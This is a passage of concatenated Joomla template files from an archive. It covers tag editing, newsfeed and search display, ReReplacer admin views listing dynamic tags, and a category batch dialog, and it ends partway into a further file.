defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = ['jmetadata'];
$this->useCoreUI = true;

?>

<form action="<?php echo Route::_('index.php?option=com_tags&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_TAGS_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_TAGS_FIELDSET_DETAILS')); ?>
        <div class="row">
            <div class="col-lg-9">
                <div class="form-vertical">
                    <?php echo $this->form->getLabel('description'); ?>
                    <?php echo $this->form->getInput('description'); ?>
                </div>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-12 col-lg-6">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                    <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
            <div class="col-12 col-lg-6">
                <fieldset id="fieldset-metadata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                    <div>
                    <?php echo LayoutHelper::render('joomla.edit.metadata', $this); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
user.php000064400000001333151744772620006252 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.User
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

$value = $field->value;

if ($value == '') {
    return;
}

$value = (array) $value;
$texts = [];

foreach ($value as $userId) {
    if (!$userId) {
        continue;
    }

    $user = Factory::getUser($userId);

    if ($user) {
        // Use the Username
        $texts[] = $user->name;
        continue;
    }

    // Fallback and add the User ID if we get no JUser Object
    $texts[] = $userId;
}

echo htmlentities(implode(', ', $texts));
newsfeed/default.php000064400000016323151745163420010516 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

?>

<?php if (!empty($this->msg)) : ?>
    <?php echo $this->msg; ?>
<?php else : ?>
    <?php $lang      = $this->getLanguage(); ?>
    <?php $myrtl     = $this->item->rtl; ?>
    <?php $direction = ' '; ?>
    <?php $isRtl     = $lang->isRtl(); ?>
    <?php if ($isRtl && $myrtl == 0) : ?>
        <?php $direction = ' redirect-rtl'; ?>
    <?php elseif ($isRtl && $myrtl == 1) : ?>
        <?php $direction = ' redirect-ltr'; ?>
    <?php elseif ($isRtl && $myrtl == 2) : ?>
        <?php $direction = ' redirect-rtl'; ?>
    <?php elseif ($myrtl == 0) : ?>
        <?php $direction = ' redirect-ltr'; ?>
    <?php elseif ($myrtl == 1) : ?>
        <?php $direction = ' redirect-ltr'; ?>
    <?php elseif ($myrtl == 2) : ?>
        <?php $direction = ' redirect-rtl'; ?>
    <?php endif; ?>
    <?php $images = json_decode($this->item->images); ?>
    <div class="com-newsfeeds-newsfeed newsfeed<?php echo $direction; ?>">
        <?php if ($this->params->get('display_num')) : ?>
        <h1 class="<?php echo $direction; ?>">
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
        <?php endif; ?>
        <h2 class="<?php echo $direction; ?>">
            <?php if ($this->item->published == 0) : ?>
                <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
            <?php endif; ?>
            <a href="<?php echo $this->item->link; ?>" target="_blank" rel="noopener">
                <?php echo str_replace('&apos;', "'", $this->item->name); ?>
            </a>
        </h2>

        <?php if ($this->params->get('show_tags', 1)) : ?>
            <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
            <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
        <?php endif; ?>

        <!-- Show Images from Component -->
        <?php if (isset($images->image_first) && !empty($images->image_first)) : ?>
            <?php $imgfloat = empty($images->float_first) ? $this->params->get('float_first') : $images->float_first; ?>
            <div class="com-newsfeeds-newsfeed__first-image img-intro-<?php echo $this->escape($imgfloat); ?>">
                <figure>
                    <?php echo LayoutHelper::render(
                        'joomla.html.image',
                        [
                            'src' => $images->image_first,
                            'alt' => empty($images->image_first_alt) && empty($images->image_first_alt_empty) ? false : $images->image_first_alt,
                        ]
                    ); ?>
                    <?php if ($images->image_first_caption) : ?>
                        <figcaption class="caption"><?php echo $this->escape($images->image_first_caption); ?></figcaption>
                    <?php endif; ?>
                </figure>
            </div>
        <?php endif; ?>

        <?php if (isset($images->image_second) and !empty($images->image_second)) : ?>
            <?php $imgfloat = empty($images->float_second) ? $this->params->get('float_second') : $images->float_second; ?>
            <div class="com-newsfeeds-newsfeed__second-image float-<?php echo $this->escape($imgfloat); ?> item-image">
                <figure>
                    <?php echo LayoutHelper::render(
                        'joomla.html.image',
                        [
                            'src' => $images->image_second,
                            'alt' => empty($images->image_second_alt) && empty($images->image_second_alt_empty) ? false : $images->image_second_alt,
                        ]
                    ); ?>
                    <?php if ($images->image_second_caption) : ?>
                        <figcaption class="caption"><?php echo $this->escape($images->image_second_caption); ?></figcaption>
                    <?php endif; ?>
                </figure>
            </div>
        <?php endif; ?>
        <!-- Show Description from Component -->
        <?php echo $this->item->description; ?>
        <!-- Show Feed's Description -->

        <?php if ($this->params->get('show_feed_description')) : ?>
            <div class="com-newsfeeds-newsfeed__description feed-description">
                <?php echo str_replace('&apos;', "'", $this->rssDoc->description); ?>
            </div>
        <?php endif; ?>

        <!-- Show Image -->
        <?php if ($this->rssDoc->image && $this->params->get('show_feed_image')) : ?>
            <div class="com-newsfeeds-newsfeed__feed-image">
                <?php echo LayoutHelper::render(
                    'joomla.html.image',
                    [
                        'src' => $this->rssDoc->image->uri,
                        'alt' => $this->rssDoc->image->title,
                    ]
                ); ?>
            </div>
        <?php endif; ?>

        <!-- Show items -->
        <?php if (!empty($this->rssDoc[0])) : ?>
            <ol class="com-newsfeeds-newsfeed__items">
                <?php for ($i = 0; $i < $this->item->numarticles; $i++) : ?>
                    <?php if (empty($this->rssDoc[$i])) : ?>
                        <?php break; ?>
                    <?php endif; ?>
                    <?php $uri  = $this->rssDoc[$i]->uri || !$this->rssDoc[$i]->isPermaLink ? trim($this->rssDoc[$i]->uri) : trim($this->rssDoc[$i]->guid); ?>
                    <?php $uri  = !$uri || stripos($uri, 'http') !== 0 ? $this->item->link : $uri; ?>
                    <?php $text = $this->rssDoc[$i]->content !== '' ? trim($this->rssDoc[$i]->content) : ''; ?>
                    <li>
                        <?php if (!empty($uri)) : ?>
                            <h3 class="feed-link">
                                <a href="<?php echo htmlspecialchars($uri); ?>" target="_blank" rel="noopener">
                                    <?php echo trim($this->rssDoc[$i]->title); ?>
                                </a>
                            </h3>
                        <?php else : ?>
                            <h3 class="feed-link"><?php echo trim($this->rssDoc[$i]->title); ?></h3>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_item_description') && $text !== '') : ?>
                            <div class="feed-item-description">
                                <?php if ($this->params->get('show_feed_image', 0) == 0) : ?>
                                    <?php $text = OutputFilter::stripImages($text); ?>
                                <?php endif; ?>
                                <?php $text = HTMLHelper::_('string.truncate', $text, $this->params->get('feed_character_count')); ?>
                                <?php echo str_replace('&apos;', "'", $text); ?>
                            </div>
                        <?php endif; ?>
                    </li>
                <?php endfor; ?>
            </ol>
        <?php endif; ?>
    </div>
<?php endif; ?>
newsfeed/default.xml000064400000005024151745163420010523 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Single_News_Feed"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Newsfeeds\Administrator\Field"
		>

			<field
				name="id"
				type="modal_newsfeed"
				label="COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">
			<field
				name="show_feed_image"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_feed_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_character_count"
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="feed_display_order"
				type="list"
				label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="asc">JGLOBAL_OLDEST_FIRST</option>
			</field>

		</fieldset>
	</fields>
</metadata>
default_results.php000060400000003072151745714050010471 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<dl class="search-results<?php echo $this->pageclass_sfx; ?>">
<?php foreach ($this->results as $result) : ?>
	<dt class="result-title">
		<?php echo $this->pagination->limitstart + $result->count . '. '; ?>
		<?php if ($result->href) : ?>
			<a href="<?php echo JRoute::_($result->href); ?>"<?php if ($result->browsernav == 1) : ?> target="_blank"<?php endif; ?>>
				<?php // $result->title should not be escaped in this case, as it may ?>
				<?php // contain span HTML tags wrapping the searched terms, if present ?>
				<?php // in the title. ?>
				<?php echo $result->title; ?>
			</a>
		<?php else : ?>
			<?php // see above comment: do not escape $result->title ?>
			<?php echo $result->title; ?>
		<?php endif; ?>
	</dt>
	<?php if ($result->section) : ?>
		<dd class="result-category">
			<span class="small<?php echo $this->pageclass_sfx; ?>">
				(<?php echo $this->escape($result->section); ?>)
			</span>
		</dd>
	<?php endif; ?>
	<dd class="result-text">
		<?php echo $result->text; ?>
	</dd>
	<?php if ($this->params->get('show_date')) : ?>
		<dd class="result-created<?php echo $this->pageclass_sfx; ?>">
			<?php echo JText::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
		</dd>
	<?php endif; ?>
<?php endforeach; ?>
</dl>
<div class="pagination">
	<?php echo $this->pagination->getPagesLinks(); ?>
</div>
default_error.php000060400000000571151745714050010122 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php if ($this->error) : ?>
	<div class="error">
		<?php echo $this->escape($this->error); ?>
	</div>
<?php endif; ?>
default_form.php000060400000006064151745714050007737 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();
$upper_limit = $lang->getUpperLimitSearchWord();

?>
<form id="searchForm" action="<?php echo JRoute::_('index.php?option=com_search'); ?>" method="post">
	<div class="btn-toolbar">
		<div class="btn-group pull-left">
			<label for="search-searchword" class="element-invisible">
				<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>
			</label>
			<input type="text" name="searchword" title="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" placeholder="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" id="search-searchword" size="30" maxlength="<?php echo $upper_limit; ?>" value="<?php echo $this->escape($this->origkeyword); ?>" class="inputbox" />
		</div>
		<div class="btn-group pull-left">
			<button name="Search" onclick="this.form.submit()" class="btn hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_SEARCH_SEARCH');?>">
				<span class="icon-search"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		</div>
		<input type="hidden" name="task" value="search" />
		<div class="clearfix"></div>
	</div>
	<div class="searchintro<?php echo $this->params->get('pageclass_sfx', ''); ?>">
		<?php if (!empty($this->searchword)) : ?>
			<p>
				<?php echo JText::plural('COM_SEARCH_SEARCH_KEYWORD_N_RESULTS', '<span class="badge badge-info">' . $this->total . '</span>'); ?>
			</p>
		<?php endif; ?>
	</div>
	<?php if ($this->params->get('search_phrases', 1)) : ?>
		<fieldset class="phrases">
			<legend>
				<?php echo JText::_('COM_SEARCH_FOR'); ?>
			</legend>
			<div class="phrases-box">
				<?php echo $this->lists['searchphrase']; ?>
			</div>
			<div class="ordering-box">
				<label for="ordering" class="ordering">
					<?php echo JText::_('COM_SEARCH_ORDERING'); ?>
				</label>
				<?php echo $this->lists['ordering']; ?>
			</div>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->params->get('search_areas', 1)) : ?>
		<fieldset class="only">
			<legend>
				<?php echo JText::_('COM_SEARCH_SEARCH_ONLY'); ?>
			</legend>
			<?php foreach ($this->searchareas['search'] as $val => $txt) : ?>
				<?php $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?>
				<label for="area-<?php echo $val; ?>" class="checkbox">
					<input type="checkbox" name="areas[]" value="<?php echo $val; ?>" id="area-<?php echo $val; ?>" <?php echo $checked; ?> />
					<?php echo JText::_($txt); ?>
				</label>
			<?php endforeach; ?>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->total > 0) : ?>
		<div class="form-limit">
			<label for="limit">
				<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
			</label>
			<?php echo $this->pagination->getLimitBox(); ?>
		</div>
		<p class="counter">
			<?php echo $this->pagination->getPagesCounter(); ?>
		</p>
	<?php endif; ?>
</form>
items/default_import_footer.php000060400000003157151745736220013010 0ustar00<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */
defined('_JEXEC') or die;

use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;

?>
<button type="button" class="btn btn-danger" data-bs-dismiss="modal">
    <span class="icon-cancel" aria-hidden="true"></span>
    <?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" id='import-submit-button-id' class="btn btn-success" data-submit-task='items.import'>
    <span class="icon-file-import" aria-hidden="true"></span>
    <?php echo JText::_('RL_IMPORT'); ?>
</button>

<?php
RL_Document::scriptDeclaration("
(function(document, submitForm) {
    'use strict';

    var buttonDataSelector = 'data-submit-task';
    var formId             = 'adminForm';

    var submitTask = function submitTask(task) {
        var form = document.getElementById(formId);

        if (form && task === 'items.import') {
            submitForm(task, form);
        }
    };

    document.addEventListener('DOMContentLoaded', function() {
        var button = document.getElementById('import-submit-button-id');

        if (button) {
            button.addEventListener('click', function(e) {
                var task = e.target.getAttribute(buttonDataSelector);
                submitTask(task);
                return false;
            });
        }
    });
})(document, Joomla.submitform);
");
?>
items/default_import_body.php000060400000001134151745736220012440 0ustar00<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */
defined('_JEXEC') or die;

use Joomla\CMS\Factory;

$published = (int) $this->state->get('filter.published');

$user = Factory::getUser();
?>

<div class="container rl-modal">
    <div class="form-vertical">
        <?php echo $this->form->renderFieldset('import'); ?>
    </div>
</div>
item/regular_expressions.php000060400000000664151745736220012334 0ustar00<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

?>
<img src="/media/rereplacer/images/regular-expressions-cheat-sheet-v2.png" width="763">
item/dynamic_tags.php000060400000025554151745736220010700 0ustar00<?php
/**
 * @package         ReReplacer
 * @version         14.4.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Alias as RL_Alias;
use RegularLabs\Library\Date as RL_Date;

$user    = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
$contact = (object) [];

$db         = JFactory::getDbo();
$table_name = $db->getPrefix() . 'contact_details';

if (in_array($table_name, $db->getTableList()))
{
    $query = 'SHOW FIELDS FROM ' . $db->quoteName($table_name);
    $db->setQuery($query);
    $columns = $db->loadColumn();

    if (in_array('misc', $columns))
    {
        $query = $db->getQuery(true)
            ->select('c.misc')
            ->from('#__contact_details as c')
            ->where('c.user_id = ' . (int) $user->id);
        $db->setQuery($query);
        $contact = $db->loadObject();
    }
}

$yes = '<td class="text-center text-success"><span class="icon-checkmark" aria-hidden="true"></span> ' . JText::_('JYES') . '</td>';
$no  = '<td class="text-center text-danger" class="text-muted"><span class="icon-cancel" aria-hidden="true"></span> ' . JText::_('JNO') . '</td>';

?>
<div class="alert alert-danger">
    <?php echo JText::_('RL_ONLY_AVAILABLE_IN_PRO'); ?>
</div>

<p><?php echo JText::_('RR_DYNAMIC_TAGS_DESC'); ?></p>

<table class="table table-striped">
    <thead>
        <tr>
            <th class="fw-bold" width="50%">
                <?php echo JText::_('RL_INPUT_SYNTAX'); ?>
            </th>
            <th class="fw-bold">
                <span><?php echo JText::_('RL_OUTPUT_EXAMPLE'); ?></span>
            </th>
            <th class="fw-bold">
                <span><?php echo JText::_('JGLOBAL_DESCRIPTION'); ?></span>
            </th>
            <th class="text-center fw-bold">
                <span rel="tooltip" title="<?php echo JText::_('RR_USE_IN_SEARCH'); ?>"><?php echo JText::_('RR_SEARCH'); ?></span>
            </th>
            <th class="text-center fw-bold">
                <span rel="tooltip" title="<?php echo JText::_('RR_USE_IN_REPLACE'); ?>"><?php echo JText::_('RR_REPLACE'); ?></span>
            </th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td><code>[[comma]]</code></td>
            <td>,</td>
            <td><?php echo JText::_('RR_USE_INSTEAD_OF_A_COMMA,RR_TREAT_AS_LIST'); ?></td>
            <?php echo $yes; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[space]]</code></td>
            <td></td>
            <td><?php echo JText::_('RR_USE_FOR_LEADING_OR_TRAILING_SPACES'); ?></td>
            <?php echo $yes; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[user:id]]</code></td>
            <td><?php echo $user->id; ?></td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_USER_ID'); ?>
                <br><em class="text-muted"><?php echo JText::_('RL_DYNAMIC_TAG_USER_TAG_DESC'); ?></em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[user:username]]</code></td>
            <td><?php echo $user->username; ?></td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_USER_USERNAME'); ?>
                <br><em class="text-muted"><?php echo JText::_('RL_DYNAMIC_TAG_USER_TAG_DESC'); ?></em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[user:name]]</code></td>
            <td><?php echo $user->name; ?></td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_USER_NAME'); ?>
                <br><em class="text-muted"><?php echo JText::_('RL_DYNAMIC_TAG_USER_TAG_DESC'); ?></em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[user:misc]]</code></td>
            <td><?php echo $contact->misc ?? ''; ?></td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_USER_OTHER'); ?>
                <br><em class="text-muted"><?php echo JText::_('RL_DYNAMIC_TAG_USER_TAG_DESC'); ?></em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[article:id]]</code></td>
            <td>123</td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_ARTICLE_ID'); ?>
                <br><em class="text-muted">
                    <?php echo JText::_('RR_ONLY_AVAILABLE_IN_SEARCH_AREA,RR_ENABLE_IN_AREA,RR_AREA_CONTENT'); ?>
                </em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[article:title]]</code></td>
            <td>My Article</td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_ARTICLE_TITLE'); ?>
                <br><em class="text-muted">
                    <?php echo JText::_('RR_ONLY_AVAILABLE_IN_SEARCH_AREA,RR_ENABLE_IN_AREA,RR_AREA_CONTENT'); ?>
                </em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[article:alias]]</code></td>
            <td>my-article</td>
            <td>
                <?php echo JText::_('RL_DYNAMIC_TAG_ARTICLE_OTHER'); ?>
                <br><em class="text-muted">
                    <?php echo JText::_('RR_ONLY_AVAILABLE_IN_SEARCH_AREA,RR_ENABLE_IN_AREA,RR_AREA_CONTENT'); ?>
                </em>
            </td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>
                    [[date:%A, %d %B %Y]]<br>
                    [[date:%Y-%m-%d]]
                </code></td>
            <td>
                <?php echo date(RL_Date::strftimeToDateFormat('%A, %d %B %Y')); ?><br>
                <?php echo date(RL_Date::strftimeToDateFormat('%Y-%m-%d')); ?>
            </td>
            <td><?php echo JText::sprintf('RL_DYNAMIC_TAG_DATE', '<a href="http://www.php.net/manual/function.strftime.php" target="_blank">', '</a>', '<span>[[date: %A, %d %B %Y]]</span>'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>
                    [[random:0-100]]<br>
                    [[random:1000-9999]]
                </code></td>
            <td>
                <?php echo rand(0, 100); ?><br>
                <?php echo rand(1000, 9999); ?>
            </td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_RANDOM'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>
                    [[random:this,that]]<br>
                    [[random:1-10,20,50,100]]
                </code></td>
            <td>
                <?php
                $values = ['this', 'that'];
                echo $values[rand(0, count($values) - 1)];
                ?>
                <br>

                <?php
                $values = [rand(1, 10), 20, 50, 100];
                echo $values[rand(0, count($values) - 1)];
                ?>
            </td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_RANDOM_LIST'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[text:MY_STRING]]</code></td>
            <td><?php echo JText::_('RL_MY_STRING'); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_TEXT'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[counter]]</code></td>
            <td>1</td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_COUNTER'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[escape]]
                    <wbr>
                    \1
                    <wbr>
                    [[/escape]]</code></td>
            <td><?php echo addslashes(html_entity_decode(JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE'))); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_ESCAPE'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[uppercase]]
                    <wbr>
                    \1
                    <wbr>
                    [[/uppercase]]</code></td>
            <td><?php echo strtoupper(JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE')); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_UPPERCASE'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[lowercase]]
                    <wbr>
                    \1
                    <wbr>
                    [[/lowercase]]</code></td>
            <td><?php echo strtolower(JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE')); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_LOWERCASE'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[notags]]
                    <wbr>
                    \1
                    <wbr>
                    [[/notags]]</code></td>
            <td><?php echo strip_tags(JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE')); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_NOTAGS'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[nowhitespace]]
                    <wbr>
                    \1
                    <wbr>
                    [[/nowhitespace]]</code></td>
            <td><?php echo str_replace(' ', '', strip_tags(JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE'))); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_NOWHITESPACE'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[toalias]]
                    <wbr>
                    \1
                    <wbr>
                    [[/toalias]]</code></td>
            <td><?php echo RL_Alias::get(JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE')); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_TOALIAS'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
        <tr>
            <td><code>[[replace from="string" to="different world"]]
                    <wbr>
                    \1
                    <wbr>
                    [[/replace]]</code></td>
            <td><?php echo str_replace('string', 'different world', JText::_('RL_DYNAMIC_TAG_STRING_EXAMPLE')); ?></td>
            <td><?php echo JText::_('RL_DYNAMIC_TAG_REPLACE'); ?></td>
            <?php echo $no; ?>
            <?php echo $yes; ?>
        </tr>
    </tbody>
</table>
categories/default_batch_footer.php000064400000001372151750347760013567 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('category.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
categories/emptystate.php000064400000003734151750347760011627 0ustar00<?php

/**
 * @package     Joomla.Administrator
